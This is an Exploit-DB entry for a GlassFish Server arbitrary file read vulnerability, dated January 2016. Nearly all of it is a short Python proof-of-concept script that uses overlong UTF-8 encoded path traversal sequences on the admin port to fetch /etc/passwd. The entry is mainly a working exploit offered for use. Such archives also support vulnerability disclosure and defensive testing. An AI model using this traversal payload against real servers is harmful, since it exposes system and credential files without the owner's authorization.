Glassfish Server - Arbitrary File Read Vulnerability

2016-01-15T00:00:00
ID EDB-ID:39241
Type exploitdb
Reporter bingbing
Modified 2016-01-15T00:00:00

Description

Glassfish Server - Arbitrary File Read Vulnerability. Webapps exploit for java platform

                                        
                                            # Title: glassfish Arbitrary file read vulnerability
# Date : 01/15/2016
# Author: bingbing
# Software link: https://glassfish.java.net/download.html
# Software: GlassFish Server
# Tested: Windows 7 SP1 64bits


#!/usr/bin/python
import urllib2
response=urllib2.urlopen('http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd')
s=response.read()
print s